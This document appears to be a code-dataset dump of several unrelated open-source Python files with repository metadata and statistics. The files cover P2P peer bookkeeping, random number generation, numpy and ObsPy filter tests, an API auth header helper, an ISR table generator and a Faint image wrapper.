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341ccffc9e7ed4b86b653144bd2deb78296a6032
8,025
py
Python
superpeer/LocalData.py
xBlue0/AlaKazaam
ffd84c8afcb3aca40eac45c4c98faa547822e0fb
[ "MIT" ]
5
2018-04-10T13:13:59.000Z
2019-05-12T17:07:37.000Z
superpeer/LocalData.py
marcorambaldi/AlaKazaam
ffd84c8afcb3aca40eac45c4c98faa547822e0fb
[ "MIT" ]
2
2018-04-14T13:04:27.000Z
2018-04-17T09:03:58.000Z
superpeer/LocalData.py
marcorambaldi/AlaKazaam
ffd84c8afcb3aca40eac45c4c98faa547822e0fb
[ "MIT" ]
1
2019-03-01T13:28:51.000Z
2019-03-01T13:28:51.000Z
#!/usr/bin/env python import re class LocalData: """ Data class containing data structures and methods to interact with them """ # ('ipv4', 'ipv6', 'port') super_friends = list() # {'pktid' : (ip, port)} received_packets = dict() # 'pktid' sent_supe_packet = str() # 'pktid' sent_menu_quer_packet = str() # 'pktid' sent_net_quer_packet = str() # {'md5' : ('name', 'ipv4', 'ipv6', 'port')} net_peer_files = dict() # ('md5', 'name', 'ipv4', 'ipv6', 'port') menu_peer_files = list() # ('filename', 'md5', 'dim') shared_files = list() # super_super_friends management -------------------------------------------------------- @classmethod def is_super_friend(cls, ip4_peer: str, ip6_peer: str, port_peer: int) -> bool: return (ip4_peer, ip6_peer, port_peer) in cls.super_friends @classmethod def get_super_friends(cls) -> list: return cls.super_friends @classmethod def add_super_friend(cls, ip4_peer: str, ip6_peer: str, port_peer: int) -> None: cls.super_friends.append((ip4_peer, ip6_peer, port_peer)) @classmethod def super_friend_index(cls, ip4_peer: str, ip6_peer: str, port_peer: int) -> int: return cls.super_friends.index((ip4_peer, ip6_peer, port_peer)) @classmethod def get_super_friends_recipients(cls, ip_sender: str, ip4_source: str, ip6_source: str) -> list: recipients = cls.super_friends.copy() for peer in cls.super_friends: if ip_sender == peer[0] or ip_sender == peer[1]: recipients.remove(peer) elif ip4_source == peer[0] or ip6_source == peer[1]: recipients.remove(peer) return recipients @classmethod def get_super_friend_ip4(cls, peer: tuple) -> str: return peer[0] @classmethod def get_super_friend_ip6(cls, peer: tuple) -> str: return peer[1] @classmethod def get_super_friend_port(cls, peer: tuple) -> int: return peer[2] @classmethod def remove_super_friend(cls, super_friend_index: int) -> None: cls.super_friends.pop(super_friend_index) # ----------------------------------------------------------------------------- # received packets management -------------------------------------------------- @classmethod def add_received_packet(cls, pktid: str, ip_peer: str, port_peer: int) -> None: cls.received_packets[pktid] = (ip_peer, port_peer) @classmethod def delete_received_packet(cls, pktid: str) -> None: del cls.received_packets[pktid] @classmethod def exist_in_received_packets(cls, pktid: str) -> bool: return pktid in cls.received_packets # ----------------------------------------------------------------------------- # sent packet management------------------------------------------------------------- @classmethod def set_sent_supe_packet(cls, pktid: str) -> None: cls.sent_supe_packet = pktid @classmethod def get_sent_supe_packet(cls) -> str: return cls.sent_supe_packet @classmethod def set_sent_menu_quer_packet(cls, pktid: str) -> None: cls.sent_menu_quer_packet = pktid @classmethod def set_sent_net_quer_packet(cls, pktid: str) -> None: cls.sent_net_quer_packet = pktid @classmethod def get_sent_menu_quer_packet(cls) -> str: return cls.sent_menu_quer_packet @classmethod def get_sent_net_quer_packet(cls) -> str: return cls.sent_net_quer_packet # ----------------------------------------------------------------------------- # menu_peer_files management--------------------------------------------------- @classmethod def get_menu_peer_files(cls) -> list: return cls.menu_peer_files @classmethod def get_menu_file_owner_ip4(cls, file: tuple) -> str: return file[0] @classmethod def get_menu_file_owner_ip6(cls, file: tuple) -> str: return file[1] @classmethod def get_menu_file_owner_port(cls, file: tuple) -> int: return file[2] @classmethod def get_menu_file_md5(cls, file: tuple) -> str: return file[3] @classmethod def get_menu_file_name(cls, file: tuple) -> str: return file[4] @classmethod def add_menu_peer_file(cls, ip4_peer: str, ip6_peer: str, port_peer: int, filemd5: str, filename: str) -> None: cls.menu_peer_files.append((ip4_peer, ip6_peer, port_peer, filemd5, filename)) @classmethod def exist_menu_peer_file(cls, ip4_peer: str, ip6_peer: str, port_peer: int, filemd5: str, filename: str) -> bool: return (ip4_peer, ip6_peer, port_peer, filemd5, filename) in cls.menu_peer_files @classmethod def menu_peer_file_index(cls, ip4_peer: str, ip6_peer: str, port_peer: int, filemd5: str, filename: str) -> int: return cls.menu_peer_files.index((ip4_peer, ip6_peer, port_peer, filemd5, filename)) @classmethod def get_menu_peer_file_by_index(cls, index: int) -> tuple: return cls.menu_peer_files.pop(index) @classmethod def clear_menu_peer_files(cls) -> None: cls.menu_peer_files.clear() # ----------------------------------------------------------------------------- # peer_files management-------------------------------------------------------- @classmethod def get_net_peer_files(cls) -> dict: return cls.net_peer_files @classmethod def add_net_peer_file(cls, ip_peer: str, port_peer: int, filemd5: str, filename: str) -> None: if filemd5 in cls.net_peer_files.keys(): cls.net_peer_files[filemd5].append((filename, ip_peer, port_peer)) else: cls.net_peer_files[filemd5] = list() cls.net_peer_files[filemd5].append((filename, ip_peer, port_peer)) @classmethod def exist_net_peer_file(cls, ip_peer: str, port_peer: int, filemd5: str, filename: str) -> bool: if filemd5 in cls.net_peer_files.keys(): return (filename, ip_peer, port_peer) in cls.net_peer_files[filemd5] return False @classmethod def get_net_peer_files_md5_amount(cls) -> int: return len(cls.net_peer_files.keys()) @classmethod def get_net_peer_file_copy_amount_by_md5(cls, filemd5: str) -> int: if filemd5 in cls.net_peer_files.keys(): return len(cls.net_peer_files[filemd5]) return 0 @classmethod def get_net_peer_file_name_by_md5(cls, filemd5: str) -> str: return cls.net_peer_files[filemd5][0][0] @classmethod def get_net_peer_files_list_by_md5(cls, filemd5: str) -> list: if filemd5 in cls.net_peer_files.keys(): return cls.net_peer_files[filemd5] return list() @classmethod def get_net_peer_file_name(cls, file_tuple: tuple) -> str: return file_tuple[0] @classmethod def get_net_peer_file_owner_ip(cls, file_tuple: tuple) -> str: return file_tuple[1] @classmethod def get_net_peer_file_owner_port(cls, file_tuple: tuple) -> str: return file_tuple[2] @classmethod def clear_net_peer_files(cls) -> None: cls.net_peer_files.clear() # ----------------------------------------------------------------------------- # shared files management ----------------------------------------------------- @classmethod def get_shared_files(cls) -> list: return cls.shared_files @classmethod def add_shared_file(cls, filename: str, file_md5: str, file_size: int) -> None: cls.shared_files.append((filename, file_md5, file_size)) @classmethod def exist_shared_file(cls, filename: str, file_md5: str, file_size: int) -> bool: return (filename, file_md5, file_size) in cls.shared_files @classmethod def search_in_shared_files(cls, query_name: str) -> list: results = list() if query_name == '*': results = cls.shared_files else: for file in cls.shared_files: if re.search(query_name, file[0]): results.append(file) return results @classmethod def get_shared_filename_by_filemd5(cls, file_md5: str) -> str: for file in cls.shared_files: if file[1] == file_md5: return file[0] @classmethod def get_shared_filename(cls, file: tuple) -> str: return file[0] @classmethod def get_shared_filemd5(cls, file: tuple) -> str: return file[1] @classmethod def get_shared_dim(cls, file: tuple) -> int: return int(file[2]) @classmethod def clear_shared_files(cls) -> None: cls.shared_files.clear() @classmethod def get_shared_file_by_index(cls, index: int) -> tuple: return cls.shared_files.pop(index) # -----------------------------------------------------------------------------
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34213d4a49d584afc7dd7bc836c55645b4e2dc55
398
py
Python
CombinedLinearCongruentialGenerators/generate.py
SUT-Courses/SimulationMiniTool
56e050e887d2b2c7f24921300059a6d925dfd9dc
[ "MIT" ]
null
null
null
CombinedLinearCongruentialGenerators/generate.py
SUT-Courses/SimulationMiniTool
56e050e887d2b2c7f24921300059a6d925dfd9dc
[ "MIT" ]
null
null
null
CombinedLinearCongruentialGenerators/generate.py
SUT-Courses/SimulationMiniTool
56e050e887d2b2c7f24921300059a6d925dfd9dc
[ "MIT" ]
null
null
null
def combined_linear_cong(n=10000): r = [0.0] * n m1 = 2147483563 a1 = 40014 y1 = 1 m2 = 2147483399 a2 = 40692 y2 = 1 for i in range(n): y1 = a1 * y1 % m1 y2 = a2 * y2 % m2 x = (y1 - y2) % (m1 - 1) if x > 0: r[i] = (x / m1) else: r[i] = (m1 - 1) / m1 return r print(combined_linear_cong())
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342f32ed64550a8da4a8ef5f7800093077e54557
1,569
py
Python
tests/lib/scaling_test.py
Crossing-Minds/xminds-python
8ee345e3a9ec41016c6a866e1af5eb13f7ff4f1f
[ "MIT" ]
4
2020-10-27T00:11:52.000Z
2022-01-17T21:15:25.000Z
tests/lib/scaling_test.py
Crossing-Minds/xminds-python
8ee345e3a9ec41016c6a866e1af5eb13f7ff4f1f
[ "MIT" ]
null
null
null
tests/lib/scaling_test.py
Crossing-Minds/xminds-python
8ee345e3a9ec41016c6a866e1af5eb13f7ff4f1f
[ "MIT" ]
null
null
null
import unittest import numpy from xminds.ds.scaling import linearscaling class LinearToolsTestCase(unittest.TestCase): def test_linearscaling_scalar(self): assert numpy.isclose(linearscaling(0, 0, 10, 0, 1), 0) assert numpy.isclose(linearscaling(1, 0, 10, 0, 1), 10) assert numpy.isclose(linearscaling(.5, 0, 10, 0, 1), 5.) assert numpy.isclose(linearscaling(-1, 0, 10, -1, 1), 0) assert numpy.isclose(linearscaling(1, 0, 10, -1, 1), 10) assert numpy.isclose(linearscaling(0, 0, 10, -1, 1), 5.) assert numpy.isclose(linearscaling(-1, 10, -10, -1, 1), 10) assert numpy.isclose(linearscaling(1, 10, -10, -1, 1), -10) assert numpy.isclose(linearscaling(0, 10, -10, -1, 1), 0) def test_linearscaling_1d(self): x = numpy.asarray([0., 0.5, 1.]) assert numpy.allclose(linearscaling(x, 0, 10), [0, 5, 10]) x = numpy.asarray([-1, 0, 1]) assert numpy.allclose(linearscaling(x, 0, 10), [0, 5, 10]) x = numpy.asarray([-1, 0, 1]) assert numpy.allclose(linearscaling(x, 10, -10), [10, 0, -10]) def test_linearscaling_2d(self): x = numpy.asarray([[-1, -2], [0, 0], [1, 2]], dtype='float32') new_min = numpy.asarray([0, 0]) new_max = numpy.asarray([1, 2]) expected = numpy.asarray([[0, 0], [0.5, 1], [1, 2]]) assert numpy.allclose(linearscaling(x, new_min, new_max, axis=0), expected)
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3437ac01cfd94d44391f51d8c11604eb9e8f9c2a
893
py
Python
cpc/asm/DirectMemoryReference.py
U-Ar/Cpresto
f723458fb237c9e3e8bc8a6afdf7c81858a65363
[ "BSD-3-Clause" ]
1
2021-05-09T07:10:19.000Z
2021-05-09T07:10:19.000Z
cpc/asm/DirectMemoryReference.py
U-Ar/Cpresto
f723458fb237c9e3e8bc8a6afdf7c81858a65363
[ "BSD-3-Clause" ]
null
null
null
cpc/asm/DirectMemoryReference.py
U-Ar/Cpresto
f723458fb237c9e3e8bc8a6afdf7c81858a65363
[ "BSD-3-Clause" ]
null
null
null
from .MemoryReference import MemoryReference from .SymbolTable import SymbolTable class DirectMemoryReference(MemoryReference): def __init__(self,val): self._value = val def value(self): return self._value def collect_statistics(self,stats): self._value.collect_statistics(stats) def fix_offset(self,dif): raise Exception("DirectMemoryReference.fix_offset") def to_string(self): return self.to_source(SymbolTable.dummy()) def to_source(self,table): return self._value.to_source(table) def compare_to(self,mem): return -(mem.cmp(self)) def cmp(self,mem): if isinstance(mem,DirectMemoryReference): return self._value.compare_to(mem.value) else: return 1 def dump(self): return "(DirectMemoryReference " + self._value.dump() + ")"
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py
Python
IRIS_data_download/IRIS_download_support/obspy/signal/tests/test_filter.py
earthinversion/Fnet_IRIS_data_automated_download
09a6e0c992662feac95744935e038d1c68539fa1
[ "MIT" ]
2
2020-03-05T01:03:01.000Z
2020-12-17T05:04:07.000Z
IRIS_data_download/IRIS_download_support/obspy/signal/tests/test_filter.py
earthinversion/Fnet_IRIS_data_automated_download
09a6e0c992662feac95744935e038d1c68539fa1
[ "MIT" ]
4
2021-03-31T19:25:55.000Z
2021-12-13T20:32:46.000Z
IRIS_data_download/IRIS_download_support/obspy/signal/tests/test_filter.py
earthinversion/Fnet_IRIS_data_automated_download
09a6e0c992662feac95744935e038d1c68539fa1
[ "MIT" ]
2
2020-09-08T19:33:40.000Z
2021-04-05T09:47:50.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """ The Filter test suite. """ from __future__ import (absolute_import, division, print_function, unicode_literals) from future.builtins import * # NOQA import gzip import os import unittest import warnings import numpy as np import scipy.signal as sg from obspy import read from obspy.signal.filter import (bandpass, highpass, lowpass, envelope, lowpass_cheby_2) class FilterTestCase(unittest.TestCase): """ Test cases for Filter. """ def setUp(self): # directory where the test files are located self.path = os.path.join(os.path.dirname(__file__), 'data') def test_bandpass_vs_pitsa(self): """ Test Butterworth bandpass filter against Butterworth bandpass filter of PITSA. Note that the corners value is twice the value of the filter sections in PITSA. The rms of the difference between ObsPy and PITSA tends to get bigger with higher order filtering. """ # load test file file = os.path.join(self.path, 'rjob_20051006.gz') with gzip.open(file) as f: data = np.loadtxt(f) # parameters for the test samp_rate = 200.0 freq1 = 5 freq2 = 10 corners = 4 # filter trace datcorr = bandpass(data, freq1, freq2, df=samp_rate, corners=corners) # load pitsa file filename = os.path.join(self.path, 'rjob_20051006_bandpass.gz') with gzip.open(filename) as f: data_pitsa = np.loadtxt(f) # calculate normalized rms rms = np.sqrt(np.sum((datcorr - data_pitsa) ** 2) / np.sum(data_pitsa ** 2)) self.assertEqual(rms < 1.0e-05, True) def test_bandpass_zphsh_vs_pitsa(self): """ Test Butterworth zero-phase bandpass filter against Butterworth zero-phase bandpass filter of PITSA. Note that the corners value is twice the value of the filter sections in PITSA. The rms of the difference between ObsPy and PITSA tends to get bigger with higher order filtering. Note: The Zero-Phase filters deviate from PITSA's zero-phase filters at the end of the trace! The rms for the test is calculated omitting the last 200 samples, as this part of the trace is assumed to generally be of low interest/importance. """ # load test file filename = os.path.join(self.path, 'rjob_20051006.gz') with gzip.open(filename) as f: data = np.loadtxt(f) # parameters for the test samp_rate = 200.0 freq1 = 5 freq2 = 10 corners = 2 # filter trace datcorr = bandpass(data, freq1, freq2, df=samp_rate, corners=corners, zerophase=True) # load pitsa file filename = os.path.join(self.path, 'rjob_20051006_bandpassZPHSH.gz') with gzip.open(filename) as f: data_pitsa = np.loadtxt(f) # calculate normalized rms rms = np.sqrt(np.sum((datcorr[:-200] - data_pitsa[:-200]) ** 2) / np.sum(data_pitsa[:-200] ** 2)) self.assertEqual(rms < 1.0e-05, True) def test_lowpass_vs_pitsa(self): """ Test Butterworth lowpass filter against Butterworth lowpass filter of PITSA. Note that the corners value is twice the value of the filter sections in PITSA. The rms of the difference between ObsPy and PITSA tends to get bigger with higher order filtering. """ # load test file filename = os.path.join(self.path, 'rjob_20051006.gz') with gzip.open(filename) as f: data = np.loadtxt(f) # parameters for the test samp_rate = 200.0 freq = 5 corners = 4 # filter trace datcorr = lowpass(data, freq, df=samp_rate, corners=corners) # load pitsa file filename = os.path.join(self.path, 'rjob_20051006_lowpass.gz') with gzip.open(filename) as f: data_pitsa = np.loadtxt(f) # calculate normalized rms rms = np.sqrt(np.sum((datcorr - data_pitsa) ** 2) / np.sum(data_pitsa ** 2)) self.assertEqual(rms < 1.0e-05, True) def test_lowpass_zphsh_vs_pitsa(self): """ Test Butterworth zero-phase lowpass filter against Butterworth zero-phase lowpass filter of PITSA. Note that the corners value is twice the value of the filter sections in PITSA. The rms of the difference between ObsPy and PITSA tends to get bigger with higher order filtering. Note: The Zero-Phase filters deviate from PITSA's zero-phase filters at the end of the trace! The rms for the test is calculated omitting the last 200 samples, as this part of the trace is assumed to generally be of low interest/importance. """ # load test file filename = os.path.join(self.path, 'rjob_20051006.gz') with gzip.open(filename) as f: data = np.loadtxt(f) # parameters for the test samp_rate = 200.0 freq = 5 corners = 2 # filter trace datcorr = lowpass(data, freq, df=samp_rate, corners=corners, zerophase=True) # load pitsa file filename = os.path.join(self.path, 'rjob_20051006_lowpassZPHSH.gz') with gzip.open(filename) as f: data_pitsa = np.loadtxt(f) # calculate normalized rms rms = np.sqrt(np.sum((datcorr[:-200] - data_pitsa[:-200]) ** 2) / np.sum(data_pitsa[:-200] ** 2)) self.assertEqual(rms < 1.0e-05, True) def test_highpass_vs_pitsa(self): """ Test Butterworth highpass filter against Butterworth highpass filter of PITSA. Note that the corners value is twice the value of the filter sections in PITSA. The rms of the difference between ObsPy and PITSA tends to get bigger with higher order filtering. """ # load test file filename = os.path.join(self.path, 'rjob_20051006.gz') with gzip.open(filename) as f: data = np.loadtxt(f) # parameters for the test samp_rate = 200.0 freq = 10 corners = 4 # filter trace datcorr = highpass(data, freq, df=samp_rate, corners=corners) # load pitsa file filename = os.path.join(self.path, 'rjob_20051006_highpass.gz') with gzip.open(filename) as f: data_pitsa = np.loadtxt(f) # calculate normalized rms rms = np.sqrt(np.sum((datcorr - data_pitsa) ** 2) / np.sum(data_pitsa ** 2)) self.assertEqual(rms < 1.0e-05, True) def test_highpass_zphsh_vs_pitsa(self): """ Test Butterworth zero-phase highpass filter against Butterworth zero-phase highpass filter of PITSA. Note that the corners value is twice the value of the filter sections in PITSA. The rms of the difference between ObsPy and PITSA tends to get bigger with higher order filtering. Note: The Zero-Phase filters deviate from PITSA's zero-phase filters at the end of the trace! The rms for the test is calculated omitting the last 200 samples, as this part of the trace is assumed to generally be of low interest/importance. """ # load test file filename = os.path.join(self.path, 'rjob_20051006.gz') with gzip.open(filename) as f: data = np.loadtxt(f) # parameters for the test samp_rate = 200.0 freq = 10 corners = 2 # filter trace datcorr = highpass(data, freq, df=samp_rate, corners=corners, zerophase=True) # load pitsa file filename = os.path.join(self.path, 'rjob_20051006_highpassZPHSH.gz') with gzip.open(filename) as f: data_pitsa = np.loadtxt(f) # calculate normalized rms rms = np.sqrt(np.sum((datcorr[:-200] - data_pitsa[:-200]) ** 2) / np.sum(data_pitsa[:-200] ** 2)) self.assertEqual(rms < 1.0e-05, True) def test_envelope_vs_pitsa(self): """ Test Envelope filter against PITSA. The rms is not so good, but the fit is still good in most parts. """ # load test file filename = os.path.join(self.path, 'rjob_20051006.gz') with gzip.open(filename) as f: data = np.loadtxt(f) # filter trace datcorr = envelope(data) # load pitsa file filename = os.path.join(self.path, 'rjob_20051006_envelope.gz') with gzip.open(filename) as f: data_pitsa = np.loadtxt(f) # calculate normalized rms rms = np.sqrt(np.sum((datcorr - data_pitsa) ** 2) / np.sum(data_pitsa ** 2)) self.assertEqual(rms < 1.0e-02, True) def test_lowpass_cheby_2(self): """ Check magnitudes of basic lowpass cheby2 """ df = 200 # Hz b, a = lowpass_cheby_2(data=None, freq=50, df=df, maxorder=12, ba=True) nyquist = 100 # calculate frequency response w, h = sg.freqz(b, a, nyquist) freq = w / np.pi * nyquist h_db = 20 * np.log10(abs(h)) # be smaller than -96dB above lowpass frequency self.assertGreater(-96, h_db[freq > 50].max()) # be 0 (1dB ripple) before filter ramp self.assertGreater(h_db[freq < 25].min(), -1) def test_bandpass_high_corner_at_nyquist(self): """ Check that using exactly Nyquist for high corner gives correct results. See #1451. """ tr = read()[0] data = tr.data[:1000] df = tr.stats.sampling_rate nyquist = df / 2.0 for low_corner in (6.0, 8.55, 8.59): for corners in (3, 4, 5, 6): # this is filtering with high corner slightly below what we # catch and change into highpass with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") expected = bandpass( data, low_corner, nyquist * (1 - 1.1e-6), df=df, corners=corners) self.assertEqual(len(w), 0) # all of these should be changed into a highpass with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") got1 = bandpass(data, low_corner, nyquist * (1 - 0.9e-6), df=df, corners=corners) got2 = bandpass(data, low_corner, nyquist, df=df, corners=corners) got3 = bandpass(data, low_corner, nyquist + 1.78, df=df, corners=corners) self.assertEqual(len(w), 3) for w_ in w: self.assertTrue('Selected high corner frequency ' in str(w[0].message)) self.assertTrue('Applying a high-pass instead.' in str(w[0].message)) for got in (got1, got2, got3): np.testing.assert_allclose(got, expected, rtol=1e-3, atol=0.9) def suite(): return unittest.makeSuite(FilterTestCase, 'test') if __name__ == '__main__': unittest.main(defaultTest='suite')
40.285223
79
0.579459
1,508
11,723
4.42374
0.161141
0.028332
0.022485
0.029381
0.747414
0.705741
0.6921
0.6921
0.663019
0.663019
0
0.040707
0.333618
11,723
290
80
40.424138
0.813236
0.3047
0
0.528302
0
0
0.051731
0.024747
0
0
0
0
0.08805
1
0.069182
false
0.176101
0.062893
0.006289
0.144654
0.006289
0
0
0
null
0
0
0
0
1
0
0
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1
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0
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0
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0
0
1
0
0
0
0
0
3
344045b6f807beeee5b6164c6e47ca93c4b6f0be
837
py
Python
r2cloud/auth.py
Lukas0025/r2cloud-python-sdk
22539b7cff4d7e09b5cc1291add677a9ebacf6da
[ "Apache-2.0" ]
null
null
null
r2cloud/auth.py
Lukas0025/r2cloud-python-sdk
22539b7cff4d7e09b5cc1291add677a9ebacf6da
[ "Apache-2.0" ]
null
null
null
r2cloud/auth.py
Lukas0025/r2cloud-python-sdk
22539b7cff4d7e09b5cc1291add677a9ebacf6da
[ "Apache-2.0" ]
null
null
null
#!/bin/env python ## tle file for r2cloud SDK # @author Lukáš Plevač <lukasplevac@gmail.com> # @date 9.9.2020 import time class auth: ## init function # @param object self - instance of class # @param dict auth_dict - dict of auth def __init__(self, auth_dict): self.token_type = auth_dict['token_type'] self.access_token = auth_dict['access_token'] self.expires_in = time.time() + auth_dict['expires_in'] - 10 ## generate header with auth token # @param self # @return dict def headers(self): return { 'Authorization': self.token_type + ' ' + self.access_token } ## is auth valid # @param self # @return bool (is valid - not expirated) def isValid(self): return time.time() < self.expires_in
28.862069
70
0.602151
106
837
4.584906
0.45283
0.082305
0.053498
0.078189
0.098765
0
0
0
0
0
0
0.015177
0.291517
837
29
71
28.862069
0.804384
0.409797
0
0
0
0
0.096234
0
0
0
0
0
0
1
0.25
false
0
0.083333
0.166667
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
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0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
345e922f08611898b3ac561b10e1e4d11726e99b
386
py
Python
mips-rt/native_lib/gen_isr_table.py
MikuroXina/pic32mx470-rs-hello-world
28ef92a33db13345ce40f2a31089023f082e10bd
[ "MIT" ]
1
2020-03-04T21:02:32.000Z
2020-03-04T21:02:32.000Z
mips-rt/native_lib/gen_isr_table.py
MikuroXina/pic32mx470-rs-hello-world
28ef92a33db13345ce40f2a31089023f082e10bd
[ "MIT" ]
null
null
null
mips-rt/native_lib/gen_isr_table.py
MikuroXina/pic32mx470-rs-hello-world
28ef92a33db13345ce40f2a31089023f082e10bd
[ "MIT" ]
2
2020-03-04T21:02:45.000Z
2020-07-11T16:58:31.000Z
#!/usr/bin/python3 # # generate ISR table # vect_fmt = '''\ # vector {0} .weak _vector_{0}_fn, _vector_{0}_j _vector_{0}_fn = _default_isr_fn _vector_{0}_context = _isr_context .section .vector_{0}, "ax" .ent _vector_{0} _vector_{0}: la k0,_vector_{0}_fn j _vector_{0}_context nop .end _vector_{0} ''' for i in range(0, 64): print(vect_fmt.format(i))
16.782609
35
0.642487
61
386
3.540984
0.47541
0.356481
0.125
0
0
0
0
0
0
0
0
0.05178
0.199482
386
22
36
17.545455
0.647249
0.093264
0
0
1
0
0.774566
0
0
0
0
0
0
1
0
false
0
0
0
0
0.066667
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
34674ac68d2e81a558c7f01008b5526756544441
3,467
py
Python
py/faint/image.py
lukas-ke/faint-graphics-editor
33eb9e6a3f2216fb2cf6ef9709a14f3d20b78fbf
[ "Apache-2.0" ]
10
2016-12-28T22:06:31.000Z
2021-05-24T13:42:30.000Z
py/faint/image.py
lukas-ke/faint-graphics-editor
33eb9e6a3f2216fb2cf6ef9709a14f3d20b78fbf
[ "Apache-2.0" ]
4
2015-10-09T23:55:10.000Z
2020-04-04T08:09:22.000Z
py/faint/image.py
lukas-ke/faint-graphics-editor
33eb9e6a3f2216fb2cf6ef9709a14f3d20b78fbf
[ "Apache-2.0" ]
null
null
null
import ifaint class FakeGrid: anchor = 0, 0 color = 255, 255, 255 dashed = False enabled = False spacing = 40 class Pimage: """Experimental Image implementation in Python. If this works out, I'll rename it as Image, and remove the C++-implementation py-image.cpp. """ def __init__(self, w, h): self.w = w self.h = h self.objects = [] self.background = None def Rect(self, *args): sh = ifaint.create_Rect(*args) self.objects.append(sh) return sh def Ellipse(self, *args): sh = ifaint.create_Ellipse(*args) self.objects.append(sh) return sh def Polygon(self, *args): sh = ifaint.create_Polygon(*args) self.objects.append(sh) return sh def Raster(self, *args): sh = ifaint.create_Raster(*args) self.objects.append(sh) return sh def Spline(self, *args): sh = ifaint.create_Spline(*args) self.objects.append(sh) return sh def Text(self, *args): sh = ifaint.create_Text(*args) self.objects.append(sh) return sh def get_obj_text_height(self, *args): return 10.0 # Fixme def Group(self, *args): sh = ifaint.create_Group(*args) self.objects.append(sh) return sh def Line(self, *args): sh = ifaint.create_Line(*args) self.objects.append(sh) return sh def Path(self, *args): sh = ifaint.create_Path(*args) self.objects.append(sh) return sh def get_obj_tri(self, obj): """For compatibility with FrameProps""" return obj.get_tri() def set_obj_tri(self, obj, tri): """For compatibility with FrameProps""" obj.set_tri(tri) def set_obj_name(self, obj, name): obj.name = name def get_size(self): return self.w, self.h def get_pixel(self, x, y): return (255, 255, 255) # Fixme def get_objects(self): return self.objects def _one_color_bg(self): return True # Fixme def add_warning(self, w): """For compatibility with FrameProps""" pass def save_backup(self, path): ifaint.write_png(self.background, path) def flatten(self): if self.background is None: self.background = ifaint.Bitmap((self.w, self.h)) self.background.draw_objects(self.objects) self.objects = [] class PimageList: """List of frames in Python.""" def __init__(self): self.frames = [] def add_frame(self, size): frame = Pimage(size[0], size[1]) self.frames.append(frame) return frame def get_size(self): return self.frames[0].get_size() def get_frames(self): return self.frames def get_frame(self, num=0): return self.frames[num] def _one_color_bg(self): return True # Fixme def get_pixel(self, *args): return self.frames[0].get_pixel(*args) def get_objects(self): return self.frames[0].get_objects() def get_calibration(self): return None grid = FakeGrid() def one_color_bg(obj): try: return obj._one_color_bg() except AttributeError: return ifaint._one_color_bg(obj)
23.268456
63
0.564177
436
3,467
4.350917
0.224771
0.075382
0.047443
0.075909
0.383764
0.268846
0.204533
0.204533
0.079072
0.042172
0
0.013333
0.329391
3,467
148
64
23.425676
0.802581
0.083646
0
0.277228
0
0
0
0
0
0
0
0.006757
0
1
0.306931
false
0.009901
0.009901
0.118812
0.653465
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
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0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
cab6c8d8ca6e59ca96641958c8f303e7d2e0cead
434
py
Python
backend_sqlalchemy/backend_app/resources/stats.py
jiz148/medical_app
2f8b3f299ff6a87e62ac7483b6d2bac156a08874
[ "MIT" ]
null
null
null
backend_sqlalchemy/backend_app/resources/stats.py
jiz148/medical_app
2f8b3f299ff6a87e62ac7483b6d2bac156a08874
[ "MIT" ]
null
null
null
backend_sqlalchemy/backend_app/resources/stats.py
jiz148/medical_app
2f8b3f299ff6a87e62ac7483b6d2bac156a08874
[ "MIT" ]
null
null
null
from backend_sqlalchemy.backend_app.models.diseases import DiseasesModel from backend_sqlalchemy.backend_app.db import db from backend_sqlalchemy.backend_app.models.stats import StatsModel def get_stats(): """ Get stats """ all_stats = db.session.query(StatsModel.DID, StatsModel.FID, StatsModel.Sen) g_stats = {} for stat in all_stats: g_stats[(stat.DID, stat.FID)] = stat.Sen print(g_stats)
24.111111
80
0.728111
60
434
5.066667
0.4
0.108553
0.207237
0.276316
0.345395
0.243421
0
0
0
0
0
0
0.175115
434
17
81
25.529412
0.849162
0.020737
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0.333333
0
0.444444
0.111111
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
1b11dd7f020db59bea173f520097d51262b0c2fe
66
py
Python
Problems/A complex expression/task.py
gabrielizalo/jetbrains-academy-zookeeper
467b43da3cb81f82987daf6b063eb2078d476d4f
[ "MIT" ]
null
null
null
Problems/A complex expression/task.py
gabrielizalo/jetbrains-academy-zookeeper
467b43da3cb81f82987daf6b063eb2078d476d4f
[ "MIT" ]
null
null
null
Problems/A complex expression/task.py
gabrielizalo/jetbrains-academy-zookeeper
467b43da3cb81f82987daf6b063eb2078d476d4f
[ "MIT" ]
null
null
null
n = int(input()) new_n = ((((n * 2) * n) - n) // n) print(new_n)
13.2
34
0.439394
13
66
2.076923
0.461538
0.222222
0
0
0
0
0
0
0
0
0
0.02
0.242424
66
4
35
16.5
0.52
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1b61c820e0f0f7acfbc1fcc581af507b2141814b
421
py
Python
reverse.py
Estheryu991/CodinGamez
e653a891792278d7d6961194aa831cf447d3aba7
[ "MIT" ]
null
null
null
reverse.py
Estheryu991/CodinGamez
e653a891792278d7d6961194aa831cf447d3aba7
[ "MIT" ]
null
null
null
reverse.py
Estheryu991/CodinGamez
e653a891792278d7d6961194aa831cf447d3aba7
[ "MIT" ]
null
null
null
# The game mode is REVERSE: You do not have access to the statement. You have to guess what to do by observing the following set of tests: # 01 Test 1 # Input # Expected output # +-+--+-+++--+ # 1 # 02 Test 2 # Input # Expected output # +++++++--- # 4 # 03 Test 3 # Input # Expected output # -+-+-+-+-+-+ # 0 # 04 Test 4 # Input # Expected output # ------------++----+ # -13 s = input() print(s.count("+")-s.count("-"))
16.84
138
0.567696
62
421
3.854839
0.596774
0.217573
0.317992
0
0
0
0
0
0
